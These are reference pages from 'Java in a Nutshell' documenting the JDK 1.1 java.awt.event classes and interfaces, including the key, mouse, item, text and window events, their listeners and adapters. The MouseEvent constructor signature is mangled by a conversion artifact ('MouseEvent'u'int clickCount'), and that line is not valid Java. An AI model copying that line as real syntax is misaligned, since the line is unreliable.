
Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.14 java.awt.event.InputEvent (JDK 1.1)

This abstract class serves as the superclass for the raw user input event types MouseEvent and KeyEvent.

Use the inherited getComponent() to determine in which component the event occurred. Use getWhen() to obtain a timestamp for the event. Use getModifiers() to determine which keyboard modifier keys or mouse buttons were down when the event occurred. You can decode the getModifiers() return value using the various _MASK constants defined by this class. The class also defines four convenience methods for determining the state of keyboard modifiers.

In Java 1.1, input events are delivered to the appropriate listener objects before they are delivered to the AWT components themselves. If a listener calls the consume() method of the event, the event is not passed on to the component. For example, if a listener registered on a Button "consumes" a mouse click, it prevents the button itself from responding to that event. You can use isConsumed() to test whether some other listener object has already consumed the event.

public abstract class InputEvent extends ComponentEvent {
    // No Constructor
    // Constants
            public static final int ALT_MASK;
            public static final int BUTTON1_MASK;
            public static final int BUTTON2_MASK;
            public static final int BUTTON3_MASK;
            public static final int CTRL_MASK;
            public static final int META_MASK;
            public static final int SHIFT_MASK;
    // Public Instance Methods
            public void consume();  // Overrides AWTEvent
            public int getModifiers();
            public long getWhen();
            public boolean isAltDown();
            public boolean isConsumed();  // Overrides AWTEvent
            public boolean isControlDown();
            public boolean isMetaDown();
            public boolean isShiftDown();
}

Hierarchy:

Object->EventObject(Serializable)->AWTEvent->ComponentEvent->InputEvent

Extended By:

KeyEvent, MouseEvent

Previous | Home | Next
java.awt.event.FocusListener (JDK 1.1) | Book Index | java.awt.event.ItemEvent (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.15 java.awt.event.ItemEvent (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.15 java.awt.event.ItemEvent (JDK 1.1)

An event of this type indicates that an item within an ItemSelectable component has had its selection state changed.

getItemSelectable() is a convenient alternative to getSource() that returns the ItemSelectable object that originated the event. getItem() returns an object that represents the item that was selected or deselected.

getID() returns the type of the ItemEvent. The standard AWT components always generate item events of type ITEM_STATE_CHANGED. The getStateChange() method returns the new selection state of the item: it returns one of the constants SELECTED or DESELECTED. (This value can be misleading for Checkbox components that are part of a CheckboxGroup. If the user attempts to deselect a selected component, a DESELECTED event is delivered, but the CheckboxGroup immediately re-selects the component to enforce its requirement that at least one Checkbox be selected at all times.)

public class ItemEvent extends AWTEvent {
    // Public Constructor
            public ItemEvent(ItemSelectable source, int id, Object item, int stateChange);
    // Constants
            public static final int DESELECTED;
            public static final int ITEM_FIRST;
            public static final int ITEM_LAST;
            public static final int ITEM_STATE_CHANGED;
            public static final int SELECTED;
    // Public Instance Methods
            public Object getItem();
            public ItemSelectable getItemSelectable();
            public int getStateChange();
            public String paramString();  // Overrides AWTEvent
}

Hierarchy:

Object->EventObject(Serializable)->AWTEvent->ItemEvent

Passed To:

AWTEventMulticaster.itemStateChanged(),
Checkbox.processItemEvent(),
CheckboxMenuItem.processItemEvent(),
Choice.processItemEvent(),
ItemListener.itemStateChanged(),
List.processItemEvent()

Previous | Home | Next
java.awt.event.InputEvent (JDK 1.1) | Book Index | java.awt.event.ItemListener (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.16 java.awt.event.ItemListener (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.16 java.awt.event.ItemListener (JDK 1.1)

This interface defines the method that an object must implement to "listen" for item events on AWT components. When an ItemEvent occurs, an AWT component notifies its registered ItemListener objects by invoking their itemStateChanged() methods.

public abstract interface ItemListener extends EventListener {
    // Public Instance Methods
            public abstract void itemStateChanged(ItemEvent e);
}

Implemented By:

AWTEventMulticaster

Passed To:

AWTEventMulticaster.add(),
AWTEventMulticaster.remove(),
Checkbox.addItemListener(),
Checkbox.removeItemListener(),
CheckboxMenuItem.addItemListener(),
CheckboxMenuItem.removeItemListener(),
Choice.addItemListener(),
Choice.removeItemListener(),
ItemSelectable.addItemListener(),
ItemSelectable.removeItemListener(),
List.addItemListener(),
List.removeItemListener()

Returned By:

AWTEventMulticaster.add(), AWTEventMulticaster.remove()

Previous | Home | Next
java.awt.event.ItemEvent (JDK 1.1) | Book Index | java.awt.event.KeyAdapter (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.17 java.awt.event.KeyAdapter (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.17 java.awt.event.KeyAdapter (JDK 1.1)

This class is a trivial implementation of KeyListener; it provides empty bodies for each of the methods of that interface. When you are not interested in all of these methods, it is often easier to subclass KeyAdapter than it is to implement KeyListener from scratch.

public abstract class KeyAdapter extends Object implements KeyListener {
    // Default Constructor: public KeyAdapter()
    // Public Instance Methods
            public void keyPressed(KeyEvent e);  // From KeyListener
            public void keyReleased(KeyEvent e);  // From KeyListener
            public void keyTyped(KeyEvent e);  // From KeyListener
}

Hierarchy:

Object->KeyAdapter(KeyListener(EventListener))

Previous | Home | Next
java.awt.event.ItemListener (JDK 1.1) | Book Index | java.awt.event.KeyEvent (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.18 java.awt.event.KeyEvent (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.18 java.awt.event.KeyEvent (JDK 1.1)

An event of this type indicates that the user has pressed or released a key or typed a character.

Call getID() to determine the particular type of key event that has occurred. The constant KEY_PRESSED indicates that a key has been pressed, while the constant KEY_RELEASED indicates that a key has been released. Not all keystrokes actually correspond to or generate Unicode characters. Modifier keys and function keys, for example, do not correspond to characters. Furthermore, for internationalized input, multiple keystrokes are sometimes required to generate a single character of input. Therefore, getID() returns a third constant, KEY_TYPED, to indicate a KeyEvent that actually contains a character value.

For KEY_PRESSED and KEY_RELEASED key events, use getKeyCode() to obtain the "virtual key code" of the key that was pressed or released. KeyEvent defines a number of VK_ constants that represent these "virtual keys." Note that not all keys on all keyboards have corresponding constants in the KeyEvent class, and not all keyboards can generate all of the virtual key codes defined by the class. In JDK 1.1, the VK_ constants for letter keys, number keys, and some other keys have the same values as the ASCII encodings of the letters and numbers. You should not rely on this to always be the case, however. If the key that was pressed or released corresponds directly to a Unicode character, you can obtain that character by calling getKeyChar(). If there is not a corresponding Unicode character, this method returns the constant CHAR_UNDEFINED. The isActionKey() method returns true if the key that was pressed or released does not have a corresponding character.

For KEY_TYPED key events, use getKeyChar() to return the Unicode character that was typed. If you call getKeyCode() for this type of key event, it returns VK_UNDEFINED.

See InputEvent for information on inherited methods you can use to obtain the keyboard modifiers that were down during the event and other important methods.

Use getComponent(), inherited from ComponentEvent, to determine what component the event occurred over.

The static method getKeyText() returns a (possibly localized) textual name for a given key code. The static method getKeyModifiersText() returns a (possibly localized) textual description for a set of modifiers.

The KeyEvent has methods that allow you to change the key code, key character, or modifiers of an event. These methods, along with the consume() method, allow a KeyListener to perform filtering of key events before they are passed to the underlying AWT component.

public class KeyEvent extends InputEvent {
    // Public Constructors
            public KeyEvent(Component source, int id, long when, int modifiers, int keyCode, char keyChar);
            public KeyEvent(Component source, int id, long when, int modifiers, int keyCode);
    // Constants
    // Event Type Constants
            public static final int KEY_FIRST;
            public static final int KEY_LAST;
            public static final int KEY_PRESSED;
            public static final int KEY_RELEASED;
            public static final int KEY_TYPED;
    // Undefined Key and Character
            public static final int VK_UNDEFINED;
            public static final char CHAR_UNDEFINED;
    // Alphanumeric Keys
            public static final int VK_A, VK_B, VK_C, VK_D, VK_E, VK_F, VK_G, VK_H, VK_I;
            public static final int VK_J, VK_K, VK_L, VK_M, VK_N, VK_O, VK_P, VK_Q, VK_R;
            public static final int VK_S, VK_T, VK_U, VK_V, VK_W, VK_X, VK_Y, VK_Z;
            public static final int VK_SPACE;
            public static final int VK_0, VK_1, VK_2, VK_3, VK_4, VK_5, VK_6, VK_7, VK_8, VK_9;
            public static final int VK_NUMPAD0, VK_NUMPAD1, VK_NUMPAD2, VK_NUMPAD3, VK_NUMPAD4;
            public static final int VK_NUMPAD5, VK_NUMPAD6, VK_NUMPAD7, VK_NUMPAD8, VK_NUMPAD9;
    // Control Keys
            public static final int VK_BACK_SPACE, VK_ENTER, VK_ESCAPE, VK_TAB;
    // Modifier Keys
            public static final int VK_ALT, VK_CAPS_LOCK, VK_CONTROL, VK_META, VK_SHIFT;
    // Function Keys
            public static final int VK_F1, VK_F2, VK_F3, VK_F4, VK_F5, VK_F6;
            public static final int VK_F7, VK_F8, VK_F9, VK_F10, VK_F11, VK_F12;
            public static final int VK_PRINTSCREEN, VK_SCROLL_LOCK, VK_PAUSE;
            public static final int VK_DELETE, VK_INSERT;
            public static final int VK_PAGE_DOWN, VK_PAGE_UP;
            public static final int VK_DOWN, VK_LEFT, VK_RIGHT, VK_UP;
            public static final int VK_END, VK_HOME;
            public static final int VK_ACCEPT, VK_NUM_LOCK, VK_CANCEL;
            public static final int VK_CLEAR, VK_CONVERT, VK_FINAL;
            public static final int VK_HELP, VK_KANA, VK_KANJI;
            public static final int VK_MODECHANGE, VK_NONCONVERT;
    // Punctuation Keys
            public static final int VK_ADD, VK_BACK_QUOTE, VK_BACK_SLASH;
            public static final int VK_CLOSE_BRACKET, VK_COMMA, VK_DECIMAL;
            public static final int VK_DIVIDE, VK_EQUALS, VK_MULTIPLY;
            public static final int VK_OPEN_BRACKET, VK_PERIOD, VK_QUOTE;
            public static final int VK_SEMICOLON, VK_SEPARATER, VK_SLASH;
            public static final int VK_SUBTRACT;
    // Class Methods
            public static String getKeyModifiersText(int modifiers);
            public static String getKeyText(int keyCode);
    // Public Instance Methods
            public char getKeyChar();
            public int getKeyCode();
            public boolean isActionKey();
            public String paramString();  // Overrides ComponentEvent
            public void setKeyChar(char keyChar);
            public void setKeyCode(int keyCode);
            public void setModifiers(int modifiers);
}

Hierarchy:

Object->EventObject(Serializable)->AWTEvent->ComponentEvent->InputEvent->KeyEvent

Passed To:

AWTEventMulticaster.keyPressed(),
AWTEventMulticaster.keyReleased(),
AWTEventMulticaster.keyTyped(),
Component.processKeyEvent(),
KeyAdapter.keyPressed(),
KeyAdapter.keyReleased(),
KeyAdapter.keyTyped(),
KeyListener.keyPressed(),
KeyListener.keyReleased(),
KeyListener.keyTyped()

Previous | Home | Next
java.awt.event.KeyAdapter (JDK 1.1) | Book Index | java.awt.event.KeyListener (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.19 java.awt.event.KeyListener (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.19 java.awt.event.KeyListener (JDK 1.1)

This interface defines the methods that an object must implement to "listen" for key events on AWT components. When a KeyEvent occurs, an AWT component notifies its registered KeyListener objects by invoking one of their methods.

An easy way to implement this interface is by subclassing the KeyAdapter class.

public abstract interface KeyListener extends EventListener {
    // Public Instance Methods
            public abstract void keyPressed(KeyEvent e);
            public abstract void keyReleased(KeyEvent e);
            public abstract void keyTyped(KeyEvent e);
}

Implemented By:

AWTEventMulticaster, KeyAdapter

Passed To:

AWTEventMulticaster.add(),
AWTEventMulticaster.remove(),
Component.addKeyListener(),
Component.removeKeyListener()

Returned By:

AWTEventMulticaster.add(), AWTEventMulticaster.remove()

Previous | Home | Next
java.awt.event.KeyEvent (JDK 1.1) | Book Index | java.awt.event.MouseAdapter (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.20 java.awt.event.MouseAdapter (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.20 java.awt.event.MouseAdapter (JDK 1.1)

This class is a trivial implementation of MouseListener; it provides empty bodies for each of the methods of that interface. When you are not interested in all of these methods, it is often easier to subclass MouseAdapter than it is to implement MouseListener from scratch.

public abstract class MouseAdapter extends Object implements MouseListener {
    // Default Constructor: public MouseAdapter()
    // Public Instance Methods
            public void mouseClicked(MouseEvent e);  // From MouseListener
            public void mouseEntered(MouseEvent e);  // From MouseListener
            public void mouseExited(MouseEvent e);  // From MouseListener
            public void mousePressed(MouseEvent e);  // From MouseListener
            public void mouseReleased(MouseEvent e);  // From MouseListener
}

Hierarchy:

Object->MouseAdapter(MouseListener(EventListener))

Previous | Home | Next
java.awt.event.KeyListener (JDK 1.1) | Book Index | java.awt.event.MouseEvent (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.21 java.awt.event.MouseEvent (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.21 java.awt.event.MouseEvent (JDK 1.1)

An event of this type indicates that the user has moved the mouse or pressed one of the mouse buttons.

Call getID() to determine the specific type of mouse event that has occurred. This method returns one of the following seven constants, which corresponds to a method in either the MouseListener or MouseMotionListener interface.

MOUSE_PRESSED

The user has pressed a mouse button.

MOUSE_RELEASED

The user has released a mouse button.

MOUSE_CLICKED

The user has pressed and released a mouse button without any intervening mouse drag.

MOUSE_DRAGGED

The user has moved the mouse while holding a button down

MOUSE_MOVED

The user has moved the mouse without holding any buttons down.

MOUSE_ENTERED

The mouse pointer has entered the component. MOUSE_EXITED

The mouse pointer has left the component

Use getX() and getY() or getPoint() to obtain the coordinates of the mouse event. Use translatePoint() to modify these coordinates by a specified amount.

Use getModifiers() and other methods and constants inherited from InputEvent to determine the mouse button or keyboard modifiers that were down when the event occurred. See InputEvent for details. Note that mouse button modifiers are not reported for MOUSE_RELEASED events, since, technically, the mouse button in question is no longer pressed. This can be surprising.

Use getComponent(), inherited from ComponentEvent, to determine over which component the event occurred.

For mouse events of type MOUSE_CLICKED, MOUSE_PRESSED, or MOUSE_RELEASED, call getClickCount() to determine how many consecutive clicks have occurred.

If you are using popup menus, use isPopupTrigger() to test whether the current event represents the standard platform-dependent popup menu trigger event.

public class MouseEvent extends InputEvent {
    // Public Constructor
            public MouseEvent(Component source, int id, long when, int modifiers, int x, int y,
            public MouseEvent'u'int clickCount, boolean popupTrigger);
    // Constants
            public static final int MOUSE_CLICKED;
            public static final int MOUSE_DRAGGED;
            public static final int MOUSE_ENTERED;
            public static final int MOUSE_EXITED;
            public static final int MOUSE_FIRST;
            public static final int MOUSE_LAST;
            public static final int MOUSE_MOVED;
            public static final int MOUSE_PRESSED;
            public static final int MOUSE_RELEASED;
    // Public Instance Methods
            public int getClickCount();
            public Point getPoint();
            public int getX();
            public int getY();
            public boolean isPopupTrigger();
            public String paramString();  // Overrides ComponentEvent
            public synchronized void translatePoint(int x, int y);
}

Hierarchy:

Object->EventObject(Serializable)->AWTEvent->ComponentEvent->InputEvent->MouseEvent

Passed To:

AWTEventMulticaster.mouseClicked(),
AWTEventMulticaster.mouseDragged(),
AWTEventMulticaster.mouseEntered(),
AWTEventMulticaster.mouseExited(),
AWTEventMulticaster.mouseMoved(),
AWTEventMulticaster.mousePressed(),
AWTEventMulticaster.mouseReleased(),
Component.processMouseEvent(),
Component.processMouseMotionEvent(),
MouseAdapter.mouseClicked(),
MouseAdapter.mouseEntered(),
MouseAdapter.mouseExited(),
MouseAdapter.mousePressed(),
MouseAdapter.mouseReleased(),
MouseListener.mouseClicked(),
MouseListener.mouseEntered(),
MouseListener.mouseExited(),
MouseListener.mousePressed(),
MouseListener.mouseReleased(),
MouseMotionAdapter.mouseDragged(),
MouseMotionAdapter.mouseMoved(),
MouseMotionListener.mouseDragged(),
MouseMotionListener.mouseMoved()

Previous | Home | Next
java.awt.event.MouseAdapter (JDK 1.1) | Book Index | java.awt.event.MouseListener (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.22 java.awt.event.MouseListener (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.22 java.awt.event.MouseListener (JDK 1.1)

This interface defines the methods that an object must implement to "listen" for mouse events on AWT components. When a MouseEvent occurs, an AWT component notifies its registered MouseListener objects (or MouseMotionListener objects if the event involves mouse motion) by invoking one of their methods.

An easy way to implement this interface is by subclassing the MouseAdapter class.

public abstract interface MouseListener extends EventListener {
    // Public Instance Methods
            public abstract void mouseClicked(MouseEvent e);
            public abstract void mouseEntered(MouseEvent e);
            public abstract void mouseExited(MouseEvent e);
            public abstract void mousePressed(MouseEvent e);
            public abstract void mouseReleased(MouseEvent e);
}

Implemented By:

AWTEventMulticaster, MouseAdapter

Passed To:

AWTEventMulticaster.add(),
AWTEventMulticaster.remove(),
Component.addMouseListener(),
Component.removeMouseListener()

Returned By:

AWTEventMulticaster.add(), AWTEventMulticaster.remove()

Previous | Home | Next
java.awt.event.MouseEvent (JDK 1.1) | Book Index | java.awt.event.MouseMotionAdapter (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.23 java.awt.event.MouseMotionAdapter (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.23 java.awt.event.MouseMotionAdapter (JDK 1.1)

This class is a trivial implementation of MouseMotionListener; it provides empty bodies for each of the methods of that interface. When you are not interested in all of these methods, it is often easier to subclass MouseMotionAdapter than it is to implement MouseMotionListener from scratch.

public abstract class MouseMotionAdapter extends Object implements MouseMotionListener {
    // Default Constructor: public MouseMotionAdapter()
    // Public Instance Methods
            public void mouseDragged(MouseEvent e);  // From MouseMotionListener
            public void mouseMoved(MouseEvent e);  // From MouseMotionListener
}

Hierarchy:

Object->MouseMotionAdapter(MouseMotionListener(EventListener))

Previous | Home | Next
java.awt.event.MouseListener (JDK 1.1) | Book Index | java.awt.event.MouseMotionListener (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.24 java.awt.event.MouseMotionListener (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.24 java.awt.event.MouseMotionListener (JDK 1.1)

This interface defines the methods that an object must implement to "listen" for mouse motion events on AWT components. When a MouseEvent occurs involving a mouse drag or mouse motion with no buttons down, an AWT component notifies its registered MouseMotionListener objects by invoking one of their methods.

An easy way to implement this is by subclassing the MouseMotionAdapter class.

public abstract interface MouseMotionListener extends EventListener {
    // Public Instance Methods
            public abstract void mouseDragged(MouseEvent e);
            public abstract void mouseMoved(MouseEvent e);
}

Implemented By:

AWTEventMulticaster, MouseMotionAdapter

Passed To:

AWTEventMulticaster.add(),
AWTEventMulticaster.remove(),
Component.addMouseMotionListener(),
Component.removeMouseMotionListener()

Returned By:

AWTEventMulticaster.add(), AWTEventMulticaster.remove()

Previous | Home | Next
java.awt.event.MouseMotionAdapter (JDK 1.1) | Book Index | java.awt.event.PaintEvent (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.25 java.awt.event.PaintEvent (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.25 java.awt.event.PaintEvent (JDK 1.1)

An event of this type indicates that a component should have its update() method invoked. (The update() method typically, by default, invokes the paint() method.)

PaintEvent differs from the other event types in java.awt.event in that it does not have a corresponding EventListener interface. PaintEvent is essentially for internal use by the AWT redisplay framework, so your programs should not try to handle it the way they handle other events. Instead, applets and custom components should simply override their paint() and/or update() methods to redraw themselves appropriately. AWT automatically invokes update() (which typically invokes paint()) when a PaintEvent arrives.

Although you do not typically use the PaintEvent, redraw events are implemented through this class for simplicity, so that they are on equal footing with other event types, and so that advanced programs can manipulate them through the EventQueue.

public class PaintEvent extends ComponentEvent {
    // Public Constructor
            public PaintEvent(Component source, int id, Rectangle updateRect);
    // Constants
            public static final int PAINT;
            public static final int PAINT_FIRST;
            public static final int PAINT_LAST;
            public static final int UPDATE;
    // Public Instance Methods
            public Rectangle getUpdateRect();
            public String paramString();  // Overrides ComponentEvent
            public void setUpdateRect(Rectangle updateRect);
}

Hierarchy:

Object->EventObject(Serializable)->AWTEvent->ComponentEvent->PaintEvent

Previous | Home | Next
java.awt.event.MouseMotionListener (JDK 1.1) | Book Index | java.awt.event.TextEvent (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.26 java.awt.event.TextEvent (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.26 java.awt.event.TextEvent (JDK 1.1)

An event of this type indicates that the user has edited the text value that appears in a TextField, TextArea, or other TextComponent. This event is triggered by any change to the displayed text. Note that this is not the same as the ActionEvent sent by the TextField object when the user edits the text and strikes the Return key.

Use the inherited getSource() to determine the object that was the source of this event. You have to cast that object to its TextComponent type. Call getID() to determine the type of a TextEvent. The standard AWT components always generate text events of type TEXT_VALUE_CHANGED.

public class TextEvent extends AWTEvent {
    // Public Constructor
            public TextEvent(Object source, int id);
    // Constants
            public static final int TEXT_FIRST;
            public static final int TEXT_LAST;
            public static final int TEXT_VALUE_CHANGED;
    // Public Instance Methods
            public String paramString();  // Overrides AWTEvent
}

Hierarchy:

Object->EventObject(Serializable)->AWTEvent->TextEvent

Passed To:

AWTEventMulticaster.textValueChanged(),
TextComponent.processTextEvent(),
TextListener.textValueChanged()

Previous | Home | Next
java.awt.event.PaintEvent (JDK 1.1) | Book Index | java.awt.event.TextListener (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.27 java.awt.event.TextListener (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.27 java.awt.event.TextListener (JDK 1.1)

This interface defines the method that an object must implement to "listen" for text events on AWT components. When a TextEvent occurs, an AWT component notifies its registered TextListener objects by invoking their textValueChanged() methods.

public abstract interface TextListener extends EventListener {
    // Public Instance Methods
            public abstract void textValueChanged(TextEvent e);
}

Implemented By:

AWTEventMulticaster

Passed To:

AWTEventMulticaster.add(),
AWTEventMulticaster.remove(),
TextComponent.addTextListener(),
TextComponent.removeTextListener()

Returned By:

AWTEventMulticaster.add(), AWTEventMulticaster.remove()

Type Of:

TextComponent.textListener

Previous | Home | Next
java.awt.event.TextEvent (JDK 1.1) | Book Index | java.awt.event.WindowAdapter (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.28 java.awt.event.WindowAdapter (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.28 java.awt.event.WindowAdapter (JDK 1.1)

This class is a trivial implementation of WindowListener; it provides empty bodies for each of the methods of that interface. When you are not interested in all of these methods, it is often easier to subclass WindowAdapter than it is to implement WindowListener from scratch.

public abstract class WindowAdapter extends Object implements WindowListener {
    // Default Constructor: public WindowAdapter()
    // Public Instance Methods
            public void windowActivated(WindowEvent e);  // From WindowListener
            public void windowClosed(WindowEvent e);  // From WindowListener
            public void windowClosing(WindowEvent e);  // From WindowListener
            public void windowDeactivated(WindowEvent e);  // From WindowListener
            public void windowDeiconified(WindowEvent e);  // From WindowListener
            public void windowIconified(WindowEvent e);  // From WindowListener
            public void windowOpened(WindowEvent e);  // From WindowListener
}

Hierarchy:

Object->WindowAdapter(WindowListener(EventListener))

Previous | Home | Next
java.awt.event.TextListener (JDK 1.1) | Book Index | java.awt.event.WindowEvent (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.29 java.awt.event.WindowEvent (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.29 java.awt.event.WindowEvent (JDK 1.1)

An event of this type indicates that an important action has occurred for a Window object.

Call getWindow() to determine the Window object that is the source of this event. Call getID() to determine the specific type of event that has occurred. Each of the following seven constants corresponds to one of the methods of the WindowListener interface:

WINDOW_OPENED

This type indicates that the window has been created and opened; it is only delivered the first time that a window is opened.

WINDOW_CLOSING

This type indicates that the user has requested that the window be closed through the system menu, or through a close button on the window's border, or by invoking a platform-defined keystroke, such as Alt-F4 in Windows. The application should respond to this event by calling hide() or destroy() on the Window object.

WINDOW_CLOSED

This event type is delivered after a window is closed by a call to hide() or destroy().

WINDOW_ICONIFIED

This event type is delivered when the user iconifies the window.

WINDOW_DEICONIFIED

This event type is delivered when the user de-iconifies the window.

WINDOW_ACTIVATED

This event type is delivered when the window is activated--that is, when it is given the keyboard focus and becomes the "active" window.

WINDOW_DEACTIVATED

This event type is delivered when the window ceases to be the active window, typically when the user activates some other window.

public class WindowEvent extends ComponentEvent {
    // Public Constructor
            public WindowEvent(Window source, int id);
    // Constants
            public static final int WINDOW_ACTIVATED;
            public static final int WINDOW_CLOSED;
            public static final int WINDOW_CLOSING;
            public static final int WINDOW_DEACTIVATED;
            public static final int WINDOW_DEICONIFIED;
            public static final int WINDOW_FIRST;
            public static final int WINDOW_ICONIFIED;
            public static final int WINDOW_LAST;
            public static final int WINDOW_OPENED;
    // Public Instance Methods
            public Window getWindow();
            public String paramString();  // Overrides ComponentEvent
}

Hierarchy:

Object->EventObject(Serializable)->AWTEvent->ComponentEvent->WindowEvent

Passed To:

AWTEventMulticaster.windowActivated(),
AWTEventMulticaster.windowClosed(),
AWTEventMulticaster.windowClosing(),
AWTEventMulticaster.windowDeactivated(),
AWTEventMulticaster.windowDeiconified(),
AWTEventMulticaster.windowIconified(),
AWTEventMulticaster.windowOpened(),
Window.processWindowEvent(),
WindowAdapter.windowActivated(),
WindowAdapter.windowClosed(),
WindowAdapter.windowClosing(),
WindowAdapter.windowDeactivated(),
WindowAdapter.windowDeiconified(),
WindowAdapter.windowIconified(),
WindowAdapter.windowOpened(),
WindowListener.windowActivated(),
WindowListener.windowClosed(),
WindowListener.windowClosing(),
WindowListener.windowDeactivated(),
WindowListener.windowDeiconified(),
WindowListener.windowIconified(),
WindowListener.windowOpened()

Previous | Home | Next
java.awt.event.WindowAdapter (JDK 1.1) | Book Index | java.awt.event.WindowListener (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.30 java.awt.event.WindowListener (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.30 java.awt.event.WindowListener (JDK 1.1)

This interface defines the methods that an object must implement to "listen" for window events on AWT components. When a WindowEvent occurs, an AWT component notifies its registered WindowListener objects by invoking one of their methods.

An easy way to implement this interface is by subclassing the WindowAdapter class.

public abstract interface WindowListener extends EventListener {
    // Public Instance Methods
            public abstract void windowActivated(WindowEvent e);
            public abstract void windowClosed(WindowEvent e);
            public abstract void windowClosing(WindowEvent e);
            public abstract void windowDeactivated(WindowEvent e);
            public abstract void windowDeiconified(WindowEvent e);
            public abstract void windowIconified(WindowEvent e);
            public abstract void windowOpened(WindowEvent e);
}

Implemented By:

AWTEventMulticaster, WindowAdapter

Passed To:

AWTEventMulticaster.add(),
AWTEventMulticaster.remove(),
Window.addWindowListener(),
Window.removeWindowListener()

Returned By:

AWTEventMulticaster.add(), AWTEventMulticaster.remove()

Previous | Home | Next
java.awt.event.WindowEvent (JDK 1.1) | Book Index | The java.awt.image Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] The java.awt.event Package

Java in a Nutshell

Previous Chapter 20 Next

20. The java.awt.event Package

Contents:

Select a new section and then

This package defines classes and interfaces used for event handling in the AWT. This package, and all of its classes and interfaces, are new in Java 1.1.

The members of this package fall into three categories:

  • Events. The classes with names ending in "Event" represent specific types of events, generated by the AWT or by one of the AWT components.

  • Listeners. The interfaces in this package are all "event listeners"; their names end with "Listener." These interfaces define the methods that must be implemented by any object that wants to be notified when a particular event occurs. Note that there is a Listener interface for each Event class.

  • Adapters. Each of the classes with a name ending in "Adapter" provides a no-op implementation for an event listener interface that defines more than one method. When you are only interested in a single method of an event listener interface, it is easier to subclass an Adapter class than to implement all of the methods of the corresponding Listener interface.

Figure 20.1 shows the class hierarchy for this package. See Chapter 7, Events, for more information on events and event handling.

Figure 20.1: The java.awt.event package

[Graphic: Figure 20-1]

20.1 java.awt.event.ActionEvent (JDK 1.1)

An object of this class represents a high-level "action" event generated by an AWT component. Instead of representing a direct user event, such as a mouse or keyboard event, ActionEvent represents some sort of action performed by the user on an AWT component.

The getID() method returns the type of action that has occurred. For AWT-generated action events, this type is always ActionEvent.ACTION_PERFORMED; custom components can generate action events of other types.

The getActionCommand() method returns a String that serves as a kind of name for the action that the event represents. The Button and MenuItem components have a setActionCommand() method that allows the programmer to specify an "action command" string to be included with any action events generated by those components. It is this value that is returned by the getActionCommand() method. When more than one Button or other component notifies the same ActionListener, you can use getActionCommand() to help determine the appropriate response to the event. This is generally a better technique than using the source object returned by getSource(). If no action command string is explicitly set, getActionCommand returns the label of the Button or MenuItem. Note, however, that internationalized programs should not rely on these labels to be constant.

Finally, getModifiers() returns a value that indicates what keyboard modifiers were in effect when the action event was triggered. Use the various _MASK constants, along with the & operator to decode this value.

public class ActionEvent extends AWTEvent {
    // Public Constructors
            public ActionEvent(Object source, int id, String command);
            public ActionEvent(Object source, int id, String command, int modifiers);
    // Constants
            public static final int ACTION_FIRST;
            public static final int ACTION_LAST;
            public static final int ACTION_PERFORMED;
            public static final int ALT_MASK;
            public static final int CTRL_MASK;
            public static final int META_MASK;
            public static final int SHIFT_MASK;
    // Public Instance Methods
            public String getActionCommand();
            public int getModifiers();
            public String paramString();  // Overrides AWTEvent
}

Hierarchy:

Object->EventObject(Serializable)->AWTEvent->ActionEvent

Passed To:

ActionListener.actionPerformed(),
AWTEventMulticaster.actionPerformed(),
Button.processActionEvent(),
List.processActionEvent(),
MenuItem.processActionEvent(),
TextField.processActionEvent()

Previous | Home | Next
